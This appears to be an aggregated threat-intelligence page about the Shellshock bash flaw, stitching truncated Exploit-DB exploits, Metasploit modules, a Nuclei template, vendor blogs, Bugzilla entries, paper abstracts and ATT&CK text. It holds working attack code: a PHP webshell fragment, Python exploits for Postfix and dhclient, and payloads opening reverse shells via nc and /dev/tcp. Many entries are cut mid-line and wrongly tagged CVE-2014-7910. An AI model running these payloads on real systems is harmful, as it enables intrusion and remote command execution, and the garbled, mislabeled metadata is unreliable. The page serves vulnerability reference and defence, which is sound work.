PHP
$tmp 2>&1");
// In Safe Mode, the user may only alter environment variables whose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variables that
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
// PHP will let the user modify ANY environment variable!
mail("[email protected]","","","","-bv"); // -bv so we don't actually send any mail
}
else return "Not vuln (not bash)";
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
Exploit-DB
CUPS Filter - Bash Environment Variable Code Injection (Metasploit)
exploitdb·2014-10-29·CVSS 8.8
CVE-2014-7910 [HIGH] CUPS Filter - Bash Environment Variable Code Injection (Metasploit)
CUPS Filter - Bash Environment Variable Code Injection (Metasploit)
---
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 'CUPS Filter Bash Environment Variable Code Injection',
'Description' => %q{
This module exploits a post-auth code injection in specially crafted
environment variables in Bash, specifically targeting CUPS filters
through the PRINTER_INFO and PRINTER_LOCATION variables by default.
},
'Author' => [
'Stephane Chazelas', # Vulnerability discovery
'lcamtuf', # CVE-2014-6278
'Brendan Coles ' # msf
],
'References' => [
['CVE', '2014-6271'],
['CVE', '2014-6278'],
['EDB', '34765'],
['URL', 'https://access.redhat.com/articles/1200223'],
['URL', 'http://s
Exploit-DB
Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection
exploitdb·2014-10-06
CVE-2014-7910 Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection
Postfix SMTP 4.2.x "
argc = len(sys.argv)
if(argc 3):
usage()
sys.exit(0)
rport = 25
rhost = sys.argv[1]
cmd = sys.argv[2]
headers = ([
"To",
"References",
"Cc",
"Bcc",
"From",
"Subject",
"Date",
"Message-ID",
"Comments",
"Keywords",
"Resent-Date",
"Resent-From",
"Resent-Sender"
])
s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, rport))
# banner grab
s.recv(2048*4)
def netFormat(d):
d += "\n"
return d.encode('hex').decode('hex')
data = netFormat("mail from:<>")
s.send(data)
s.recv(2048*4)
data = netFormat("rcpt to:")
s.send(data)
s.recv(2048*4)
data = netFormat("data")
s.send(data)
s.recv(2048*4)
data = ''
for h in headers:
data += netFormat(h + ":() { :; };" + cmd)
data += netFormat(cmd)
# .
data += "0d0a2e0d0a".decode('hex')
s.send(data)
s.recv(2048*4)
data = netFormat("
Exploit-DB
Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)
exploitdb·2014-10-06
CVE-2014-7910 Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)
Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)
---
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 'Shellshock Bashed CGI RCE',
'Description' => %q{
This module exploits the shellshock vulnerability in apache cgi. It allows you to
excute any metasploit payload you want.
},
'Author' =>
[
'Stephane Chazelas', # vuln discovery
'Fady Mohamed Osman' # Metasploit module f.othman at zinad.net
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-6271' ]
],
'Payload' =>
{
'BadChars' => "",
},
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'Disclosure
Exploit-DB
OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection
exploitdb·2014-10-04·CVSS 9.8
CVE-2014-7910 [CRITICAL] OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection
OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection
---
# Exploit Title: ShellShock OpenVPN Exploit
# Date: Fri Oct 3 15:48:08 EDT 2014
# Exploit Author: hobbily AKA @fj33r
# Version: 2.2.29
# Tested on: Debian Linux
# CVE : CVE-2014-6271
#Probably should of submitted this the day I tweeted it.
### server.conf
port 1194
proto udp
dev tun
client-cert-not-required
auth-user-pass-verify /etc/openvpn/user.sh via-env
tmp-dir "/etc/openvpn/tmp"
ca ca.crt
cert testing.crt
key testing.key # This file should be kept secret
dh dh1024.pem
server 10.8.0.0 255.255.255.0
keepalive 10 120
comp-lzo
user nobody
group nogroup
persist-key
persist-tun
client-cert-not-required
plugin /usr/lib/openvpn/openvpn-auth-pam.so login
script-security 3
status openvpn-status.log
verb 3
### user.sh
#!/bin/bas
Exploit-DB
Pure-FTPd - External Authentication Bash Environment Variable Code Injection (Metasploit)
exploitdb·2014-10-02
CVE-2014-7910 Pure-FTPd - External Authentication Bash Environment Variable Code Injection (Metasploit)
Pure-FTPd - External Authentication Bash Environment Variable Code Injection (Metasploit)
---
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 'Pure-FTPd External Authentication Bash Environment Variable Code Injection',
'Description' => %q(
This module exploits the code injection flaw known as shellshock which
leverages specially crafted environment variables in Bash. This exploit
specifically targets Pure-FTPd when configured to use an external
program for authentication.
),
'Author' =>
[
'Stephane Chazelas', # Vulnerability discovery
'Frank Denis', # Discovery of Pure-FTPd attack vector
'Spencer McIntyre' # Metasploit module
],
'References' =>
[
['CVE', '2014-6
Exploit-DB
GNU bash 4.3.11 - Environment Variable dhclient
exploitdb·2014-10-02·CVSS 10.0
CVE-2014-7910 [CRITICAL] GNU bash 4.3.11 - Environment Variable dhclient
GNU bash 4.3.11 - Environment Variable dhclient
---
#!/usr/bin/python
# Exploit Title: dhclient shellshocker
# Google Dork: n/a
# Date: 10/1/14
# Exploit Author: @0x00string
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
# Version: 4.3.11
# Tested on: Ubuntu 14.04.1
# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187
# ______ ______ ______ _
# / __ | / __ |/ __ | _ (_)
#| | //| |_ _| | //| | | //| | ___| |_ ____ _ ____ ____ ___
#| |// | ( \ / ) |// | | |// | |/___) _) / ___) | _ \ / _ |/___)
#| /__| |) X (| /__| | /__| |___ | |__| | | | | | ( ( | |___ |
# \_____/(_/ \_)\_____/ \_____/(___/ \___)_| |_|_| |_|\_|| (___/
# (_____|
# _ _ _ _
# | | | | (_) _
# _ | | | _ ____| |_ ____ ____ | |_
# / || | || \ / ___) | |/ _ ) _ \|
Exploit-DB
IPFire - CGI Web Interface (Authenticated) Bash Environment Variable Code Injection
exploitdb·2014-10-01·CVSS 9.8
CVE-2014-7910 [CRITICAL] IPFire - CGI Web Interface (Authenticated) Bash Environment Variable Code Injection
IPFire - CGI Web Interface (Authenticated) Bash Environment Variable Code Injection
---
#!/usr/bin/env python
#
# Exploit Title : IPFire <= 2.15 core 82 Authenticated cgi Remote Command Injection (ShellShock)
#
# Exploit Author : Claudio Viviani
#
# Vendor Homepage : http://www.ipfire.org
#
# Software Link: http://downloads.ipfire.org/releases/ipfire-2.x/2.15-core82/ipfire-2.15.i586-full-core82.iso
#
# Date : 2014-09-29
#
# Fixed version: IPFire 2.15 core 83 (2014-09-28)
#
# Info: IPFire is a free Linux distribution which acts as a router and firewall in the first instance.
# It can be maintained via a web interface.
# The distribution furthermore offers selected server-daemons and can easily be expanded to a SOHO-server.
# IPFire is based on Linux From Scratch and is, like the Endian Fi
Exploit-DB
dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)
exploitdb·2014-09-29·CVSS 10.0
CVE-2014-7187 [CRITICAL] dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)
dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)
---
#!/usr/bin/python
# Exploit Title: ShellShock dhclient Bash Environment Variable Command Injection PoC
# Date: 2014-09-29
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 4.1
# Tested on: Debian, Ubuntu, Kali
# CVE: CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187
from scapy.all import *
conf.checkIPaddr = False
fam,hw = get_if_raw_hwaddr(conf.iface)
victim_assign_ip = "10.0.1.100"
server_ip = "10.0.1.2"
gateway_ip = "10.0.1.2"
subnet_mask = "255.255.255.0"
dns_ip = "8.8.8.8"
spoofed_mac = "00:50:56:c0:00:01"
payload = "() { ignored;}; echo 'moo'"
payload_2 = "() { ignored;}; /bin/nc -e /bin/bash localhost 7777"
payload_3 = "() { ignored;}; /bin/bash -i >& /dev/tcp/10.0.1.1/4
Exploit-DB
GNU Bash - Environment Variable Command Injection (Metasploit)
exploitdb·2014-09-25·CVSS 9.8
CVE-2014-7910 [CRITICAL] GNU Bash - Environment Variable Command Injection (Metasploit)
GNU Bash - Environment Variable Command Injection (Metasploit)
---
require 'msf/core'
class Metasploit3 'bashedCgi',
'Description' => %q{
Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command.
},
'Author' =>
[
'Stephane Chazelas', # vuln discovery
'Shaun Colley ' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [ 'CVE', '2014-6271' ],
'Targets' =>
[
[ 'cgi', {} ]
],
'DefaultTarget' => 0,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' => { 'PAYLOAD' => 0 }
))
register_options(
[
OptString.new('TARGETURI', [true, 'Absolute path of BASH-based CGI', '/']),
OptString.new('CMD', [true, 'Command to execute', '/usr/bin/touch /tmp/metasploit'])
], s
Exploit-DB
Bash - 'Shellshock' Environment Variables Command Injection
exploitdb·2014-09-25
CVE-2014-7910 Bash - 'Shellshock' Environment Variables Command Injection
Bash - 'Shellshock' Environment Variables Command Injection
---
/cgi-bin/ -c cmd
Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/
Test CGI Code : #!/bin/bash
echo "Content-type: text/html"
echo ""
echo "Bash-is-Vulnerable"
*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");
}
$url = $x['u'];
$cmd = $x['c'];
$context = stream_context_create(
array(
'http' => array(
'method' => 'GET',
'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
)
)
);
$req = file_get_contents($url, fa
Exploit-DB
GNU Bash - 'Shellshock' Environment Variable Command Injection
exploitdb·2014-09-25
CVE-2014-7910 GNU Bash - 'Shellshock' Environment Variable Command Injection
GNU Bash - 'Shellshock' Environment Variable Command Injection
---
Exploit Database Note:
The following is an excerpt from: https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
Like “real” programming languages, Bash has functions, though in a somewhat limited implementation, and it is possible to put these bash functions into environment variables. This flaw is triggered when extra code is added to the end of these function definitions (inside the enivronment variable). Something like:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
The patch used to fix this flaw, ensures that no code is allowed after the end of a bash function. So if you run the above example with the patched versi
Nuclei
ShellShock - Remote Code Execution
nuclei·CVSS 9.8
CVE-2014-6271 [CRITICAL] ShellShock - Remote Code Execution
ShellShock - Remote Code Execution
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock.
Template:
id: CVE-2014-6271
info:
name: ShellShock - Remote Code Execution
author: pentest_swissky,0xelkomy
severity: critical
description: GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variable
Talos
Shellshock - Update Bash Immediately!
blogs_talos·2014-09-26
Shellshock - Update Bash Immediately!
Shellshock is a serious vulnerability. Bash, arguably the most widely distributed shell on Linux systems, fails to correctly parse environment variables with function declarations. Why the fuss over environment variables? Because these variables are often set by programs that handle network data. Examples include dhcpcd which, through this vulnerability, more or less gives you a remote shell through DHCP option 114 (and potentially others) and Apache using mod_cgi or mod_cgid when CGI scripts are either written in Bash, or otherwise spawn subshells with exported data acquired from untrusted sources -- to name a few.
The problem is located in variables.c
void
initialize_shell_variables (env, privmode)
char **env;
int privmode;
{
[...truncated...]
If an environment variable starts with th
Talos
Shellshock - Update Bash Immediately!
blogs_talos·2014-09-26
Shellshock - Update Bash Immediately!
## Shellshock - Update Bash Immediately!
Shellshock is a serious vulnerability. Bash, arguably the most widely distributed shell on Linux systems, fails to correctly parse environment variables with function declarations. Why the fuss over environment variables? Because these variables are often set by programs that handle network data. Examples include dhcpcd which, through this vulnerability, more or less gives you a remote shell through DHCP option 114 (and potentially others) and Apache using mod_cgi or mod_cgid when CGI scripts are either written in Bash, or otherwise spawn subshells with exported data acquired from untrusted sources -- to name a few.
The problem is located in variables.c
void initialize_shell_variables (env, privmode) char **env; int privmode; { [...truncated...]
Tenable
[R7] Tenable Appliance Affected by GNU bash 'Shellshock' Vulnerability
blogs_tenable·2014-09-25
[R7] Tenable Appliance Affected by GNU bash 'Shellshock' Vulnerability
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Bugzilla
CVE-2014-6278 bash: incorrect parsing of function definitions with nested command substitutions
bugzilla·2014-09-29·CVSS 10.0
CVE-2014-6278 [CRITICAL] CVE-2014-6278 bash: incorrect parsing of function definitions with nested command substitutions
CVE-2014-6278 bash: incorrect parsing of function definitions with nested command substitutions
A security flaw was found in bash, which could be exploited remotely via applications which parse untrusted user scripts via bash. This flaw is different from CVE-2014-6277, CVE-2014-7169 and CVE-2014-7186.
Discussion:
This issue is mentioned publicly in Michal Zalewski's blog post:
http://lcamtuf.blogspot.com/2014/09/bash-bug-apply-unofficial-patch-now.html
It does not provide any details of the issue other than describing it as:
... I also bumped in the sixth and most severe issue so far, essentially
permitting very simple and straightforward remote code execution
(CVE-2014-6278) on the systems that are patched against the first bug. It's
a "put your commands here" type of a bug similar
Bugzilla
CVE-2014-6277 bash: uninitialized here document closing delimiter pointer use
bugzilla·2014-09-28·CVSS 9.8
CVE-2014-6277 [CRITICAL] CVE-2014-6277 bash: uninitialized here document closing delimiter pointer use
CVE-2014-6277 bash: uninitialized here document closing delimiter pointer use
Common Vulnerabilities and Exposures assigned an identifier CVE-2014-6277 to
the following vulnerability:
Name: CVE-2014-6277
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6277
Assigned: 20140909
Reference: http://lcamtuf.blogspot.com/2014/09/bash-bug-apply-unofficial-patch-now.html
GNU Bash through 4.3 bash43-026 does not properly parse function
definitions in the values of environment variables, which allows
remote attackers to execute arbitrary code or cause a denial of
service (uninitialized memory access, and untrusted-pointer read and
write operations) via a crafted environment, as demonstrated by
vectors involving the ForceCommand feature in OpenSSH sshd, the
mod_cgi and mod_cgid modules i
Bugzilla
CVE-2014-7186 bash: parser can allow out-of-bounds memory access while handling redir_stack
bugzilla·2014-09-26·CVSS 9.8
CVE-2014-7186 [CRITICAL] CVE-2014-7186 bash: parser can allow out-of-bounds memory access while handling redir_stack
CVE-2014-7186 bash: parser can allow out-of-bounds memory access while handling redir_stack
IssueDescription:
It was discovered that the fixed-sized redir_stack could be forced to overflow in the Bash parser, resulting in memory corruption, and possibly leading to arbitrary code execution when evaluating untrusted input that would not otherwise be run as code.
Discussion:
Acknowledgements:
This issue was discovered by Florian Weimer of Red Hat Product Security.
---
Created attachment 942613
Patch for CVE-2014-7186 and CVE-2014-7187
Patch for CVE-2014-7186 and CVE-2014-7187 that was applied to bash 4.3 packages in Fedora.
Source:
http://pkgs.fedoraproject.org/cgit/bash.git/tree/bash-4.2-cve-2014-7169-2.patch
(Note that patch file name incorrectly mentions CVE-2014-7169.)
The firs
Bugzilla
CVE-2014-7169 bash: code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271)
bugzilla·2014-09-25·CVSS 9.8
CVE-2014-7169 [CRITICAL] CVE-2014-7169 bash: code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271)
CVE-2014-7169 bash: code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271)
It was found the patch applied to fix CVE-2014-6271 was incomplete and could still allow some characters to be injected into another environment. An attacker could use this flaw to bypass some security restrictions, such as access files which he previously does not have access to etc (Standard file system permissions and selinux if enabled prevail though). There is no proof that this flaw could be used to execute arbitrary code, if it does it should be very difficult to exploit and depend on the specific configuration of the service.
Reference:
http://www.openwall.com/lists/oss-security/2014/09/24/40
https://bugzilla.redhat.com/show_bug.cgi?id=1141597#c23
Discussion:
Created bash tr
Bugzilla
CVE-2014-7169 bash: Code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271) [fedora-all]
bugzilla·2014-09-25·CVSS 9.8
CVE-2014-7169 [CRITICAL] CVE-2014-7169 bash: Code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271) [fedora-all]
CVE-2014-7169 bash: Code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271) [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of Fedora.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue
Bugzilla
CVE-2014-6271 bash: specially-crafted environment variables can be used to inject shell commands
bugzilla·2014-09-15·CVSS 9.8
CVE-2014-6271 [CRITICAL] CVE-2014-6271 bash: specially-crafted environment variables can be used to inject shell commands
CVE-2014-6271 bash: specially-crafted environment variables can be used to inject shell commands
A flaw was found in the bash functionality that evaluates specially formatted environment variables passed to it from another environment.
An attacker could use this feature to override or bypass restrictions to the environment to execute shell commands before restrictions have been applied. Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue.
Acknowledgements:
Red Hat would like to thank Stephane Chazelas for reporting this issue.
Discussion:
Created attachment 937490
Proposed upstream patch
---
Created attachment 938968
funcdef-import-3.0.patch
Upstream backport to bash 3.0
---
Created attachm
arXiv
Dynamic Neural Control Flow Execution: An Agent-Based Deep Equilibrium Approach for Binary Vulnerability Detection
arxiv_fulltext·2024-04-03
Dynamic Neural Control Flow Execution: An Agent-Based Deep Equilibrium Approach for Binary Vulnerability Detection
Dynamic Neural Control Flow Execution: An Agent-Based Deep Equilibrium Approach for Binary Vulnerability Detection
[1]Litao Li
[1]Steven H. H. Ding
[2]Andrew Walenstein
[3]Philippe Charland
[4]Benjamin C. M. Fung
[1]L1NNA Lab, School of Computing, Queen's University, Canada
[2]BlackBerry Ltd., Canada
[3]Mission Critical Cyber Security Section, Defence R&D Canada
[4]Data Mining and Security (DMaS) Lab, McGill University, Canada
## Abstract
Software vulnerabilities are a challenge in cybersecurity. Manual security patches are often difficult and slow to be deployed, while new vulnerabilities are created. Binary code vulnerability detection is less studied and more complex compared to source code, and this has important practical implications. Deep learning has become an efficient and powe
arXiv
SAFE: Self-Attentive Function Embeddings for Binary Similarity
arxiv_fulltext·2019-12-19
SAFE: Self-Attentive Function Embeddings for Binary Similarity
for Binary Similarity
Luca Massarelli^ , Giuseppe Antonio Di Luna^ , Fabio Petroni^*,
Leonardo Querzoni^ , Roberto Baldoni^
: University of Rome Sapienza. \massarelli, querzoni, baldoni\@diag.uniroma1.it.
: CINI, National Laboratory of Cyber Security. [email protected].
*: Facebook AI Research, [email protected].
## Abstract
The binary similarity problem consists in determining if two functions are similar by only considering their compiled form. Advanced techniques for binary similarity recently gained momentum as they can be applied in several fields, such as copyright disputes, malware analysis, vulnerability detection, etc., and thus have an immediate practical impact. Current solutions compare functions by first transforming their binary code in multi-dimensional vector repres
arXiv
Tiresias: Predicting Security Events Through Deep Learning
arxiv_fulltext·2019-05-24
Tiresias: Predicting Security Events Through Deep Learning
et al.
e.g.,
i.e.,
10.1145/3243734.3243811
2018
2018
acmlicensed
[CCS '18]2018 ACM SIGSAC Conference on Computer and Communications SecurityOctober 15--19, 2018Toronto, ON, Canada
2018 ACM SIGSAC Conference on Computer and Communications Security (CCS '18), October 15--19, 2018, Toronto, ON, Canada
15.00
: Predicting Security Events Through Deep Learning
Yun Shen^ , Enrico Mariconti^ , Pierre-Antoine Vervier^ , and Gianluca Stringhini^
^ Symantec Research Labs, ^ University College London, ^ Boston University
\yun_shen,pierre-antoine_vervier\@symantec.com, [email protected], [email protected]
## Abstract
With the increased complexity of modern computer attacks, there is a need for defenders not only to detect malicious activity as it happens, but also to predict the specific steps tha
CTF
README
ctf_writeups·CVSS 9.8
[CRITICAL] README
# Boot to root CTFs
Walkthroughs and notes of 'boot to root' CTFs mostly from VulnHub that I did for fun. I like to use vulnerable VMs from VulnHub (in addition to the ones I create) to organize hands-on penetration testing training sessions for junior security auditors/consultants :-)
### >> Classic pentest methodology to do a Boot2root CTF upload a Webshell)
➤ Clear-text passwords stored in 'public' website pages, configuration files, log files
➤ ...
2. Exploiting unpatched known vulnerabilities
➤ Web server (e.g. Apache Struts RCE: CVE-2017-12611/CVE-2017-9805/CVE-2017-9791, JBoss Java Deserialization RCE)
➤ Bash & web server CGI (e.g. Shellshock RCE CVE-2014-6271/CVE-2014-7169)
➤ Web CMS (e.g. Drupalgeddon2 RCE CVE-2018-7600)
➤ Web framework (e.g. PHP CGI RCE CVE-2012-1823)
➤ FTP s
ATT&CK
Exploitation of Remote Services
mitre_attack·CVSS 9.8
[CRITICAL] Exploitation of Remote Services
Exploitation of Remote Services
Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain
ATT&CK
Exploit Public-Facing Application
mitre_attack·CVSS 9.8
[CRITICAL] Exploit Public-Facing Application
Exploit Public-Facing Application
Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.
Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) On ESXi infrastructure, adversaries may exploit exposed OpenSLP s
http://advisories.mageia.org/MGASA-2014-0393.htmlhttp://archives.neohapsis.com/archives/bugtraq/2014-10/0101.htmlhttp://jvn.jp/en/jp/JVN55667175/index.htmlhttp://jvndb.jvn.jp/jvndb/JVNDB-2014-000126http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.htmlhttp://linux.oracle.com/errata/ELSA-2014-1306.htmlhttp://linux.oracle.com/errata/ELSA-2014-3075.htmlhttp://linux.oracle.com/errata/ELSA-2014-3077.htmlhttp://linux.oracle.com/errata/ELSA-2014-3078.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-09/msg00038.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-09/msg00041.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-09/msg00042.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-09/msg00044.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-09/msg00048.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-10/msg00004.htmlhttp://lists.opensuse.org/opensuse-updates/2014-10/msg00023.htmlhttp://lists.opensuse.org/opensuse-updates/2014-10/msg00025.htmlhttp://marc.info/?l=bugtraq&m=141216207813411&w=2http://marc.info/?l=bugtraq&m=141216668515282&w=2http://marc.info/?l=bugtraq&m=141235957116749&w=2http://marc.info/?l=bugtraq&m=141319209015420&w=2http://marc.info/?l=bugtraq&m=141330425327438&w=2http://marc.info/?l=bugtraq&m=141330468527613&w=2http://marc.info/?l=bugtraq&m=141345648114150&w=2http://marc.info/?l=bugtraq&m=141383026420882&w=2http://marc.info/?l=bugtraq&m=141383081521087&w=2http://marc.info/?l=bugtraq&m=141383138121313&w=2http://marc.info/?l=bugtraq&m=141383196021590&w=2http://marc.info/?l=bugtraq&m=141383244821813&w=2http://marc.info/?l=bugtraq&m=141383304022067&w=2http://marc.info/?l=bugtraq&m=141383353622268&w=2http://marc.info/?l=bugtraq&m=141383465822787&w=2http://marc.info/?l=bugtraq&m=141450491804793&w=2http://marc.info/?l=bugtraq&m=141576728022234&w=2http://marc.info/?l=bugtraq&m=141577137423233&w=2http://marc.info/?l=bugtraq&m=141577241923505&w=2http://marc.info/?l=bugtraq&m=141577297623641&w=2http://marc.info/?l=bugtraq&m=141585637922673&w=2http://marc.info/?l=bugtraq&m=141694386919794&w=2http://marc.info/?l=bugtraq&m=141879528318582&w=2http://marc.info/?l=bugtraq&m=142113462216480&w=2http://marc.info/?l=bugtraq&m=142118135300698&w=2http://marc.info/?l=bugtraq&m=142358026505815&w=2http://marc.info/?l=bugtraq&m=142358078406056&w=2http://marc.info/?l=bugtraq&m=142721162228379&w=2http://marc.info/?l=bugtraq&m=142805027510172&w=2http://packetstormsecurity.com/files/128517/VMware-Security-Advisory-2014-0010.htmlhttp://packetstormsecurity.com/files/128567/CA-Technologies-GNU-Bash-Shellshock.htmlhttp://rhn.redhat.com/errata/RHSA-2014-1306.htmlhttp://rhn.redhat.com/errata/RHSA-2014-1311.htmlhttp://rhn.redhat.com/errata/RHSA-2014-1312.htmlhttp://rhn.redhat.com/errata/RHSA-2014-1354.htmlhttp://seclists.org/fulldisclosure/2014/Oct/0http://secunia.com/advisories/58200http://secunia.com/advisories/59272http://secunia.com/advisories/59737http://secunia.com/advisories/59907http://secunia.com/advisories/60024http://secunia.com/advisories/60034http://secunia.com/advisories/60044http://secunia.com/advisories/60055http://secunia.com/advisories/60063http://secunia.com/advisories/60193http://secunia.com/advisories/60325http://secunia.com/advisories/60433http://secunia.com/advisories/60947http://secunia.com/advisories/61065http://secunia.com/advisories/61128http://secunia.com/advisories/61129http://secunia.com/advisories/61188http://secunia.com/advisories/61283http://secunia.com/advisories/61287http://secunia.com/advisories/61291http://secunia.com/advisories/61312http://secunia.com/advisories/61313http://secunia.com/advisories/61328http://secunia.com/advisories/61442http://secunia.com/advisories/61471http://secunia.com/advisories/61479http://secunia.com/advisories/61485http://secunia.com/advisories/61503http://secunia.com/advisories/61550http://secunia.com/advisories/61552http://secunia.com/advisories/61565http://secunia.com/advisories/61603http://secunia.com/advisories/61618http://secunia.com/advisories/61619http://secunia.com/advisories/61622http://secunia.com/advisories/61626http://secunia.com/advisories/61633http://secunia.com/advisories/61641http://secunia.com/advisories/61643http://secunia.com/advisories/61654http://secunia.com/advisories/61676http://secunia.com/advisories/61700http://secunia.com/advisories/61703http://secunia.com/advisories/61711http://secunia.com/advisories/61715http://secunia.com/advisories/61780http://secunia.com/advisories/61816
+ 221 more references
2014-09-25
Published
2022-01-28
Added to CISA KEV
Exploited in the wild